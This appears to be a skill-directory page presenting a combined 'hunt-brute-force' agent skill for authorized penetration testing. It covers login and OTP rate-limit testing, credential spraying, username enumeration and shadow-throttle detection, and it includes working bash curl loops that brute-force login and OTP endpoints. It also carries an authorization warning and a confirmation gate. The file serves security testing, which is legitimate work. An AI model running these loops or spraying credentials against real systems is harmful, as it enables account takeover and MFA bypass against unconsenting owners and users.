domains / security / hunt-brute-force / hunt-brute-force

hunt-brute-force

Skill card

combined

The two copies share the same core methodology (four rate-limit states, shadow-throttle detector, crown-jewel targets), but each contains material steps the other lacks. The uphiago copy provides a detailed, step-by-step hunting methodology with specific bash loops for login rate-limit testing and OTP brute-force probing (including a 101-code PoC probe and a full 10^6 keyspace discussion). The sickn33 copy adds an 'Autonomous Testing Priority' section that prioritizes credential spraying and rate-limit detection within a turn budget, and includes a mandatory authorization confirmation gate. Crowning one copy would hide the other's unique operational constraints and procedural steps.

Repositories

Other copies

Combined skill

---
name: hunt-brute-force
description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force, password-reset-token brute, credential stuffing, username/email enumeration, weak password policy, missing CAPTCHA, IP-based rate-limit bypass, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling."
version: 1.1.0
license: MIT
category: security
risk: offensive
---

# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only.

## Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

**Highest-value chains:**
- **OTP / 2FA brute → MFA bypass → ATO**
- **Password-reset token brute**
- **Username/email enumeration → targeted credential stuffing**
- **Coupon / gift-card / referral code brute**
- **ReDoS**

## Autonomous Testing Priority

**Work within your turn budget — prioritize signal over volume.**

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

**Strategy:**
1. Identify the login endpoint and the expected parameter names.
2. Try weak/default credentials likely for the target context.
3. After 3-5 failed attempts, check for rate-limit signals. Absence of these = rate limiting is missing = vulnerability.
4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

**What to look for as success:**
- Session token or JWT in the response body or Set-Cookie header
- Redirect to authenticated dashboard
- Response body that differs from the failed-login baseline

**Username enumeration (separate finding):** Try a known-valid username vs a random one. If the error message differs or response time differs → user enumeration vulnerability.

## CRITICAL: Four rate-limit states — do not collapse them

A `200`/`401` with no `429` does **not** mean "no rate limiting". Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the *full* response (status, body, headers, latency, and downstream success):

| State | Signal | Brute still feasible? |
|-------|--------|-----------------------|
| **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |
| **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation |
| **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side |
| **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* | **This is the trap.** A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |

**Shadow-throttle detector** — inject a known-good value at a known position and confirm it still works under load:
```bash
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
```

## Step-by-Step Hunting Methodology

### Phase 1 — Login Rate Limit Test
```bash
for i in $(seq 1 50); do
  read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
```

### Phase 2 — OTP / 2FA Brute Force
```bash
SESSION_COOKIE="pre-auth-session-after-first-factor"
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
```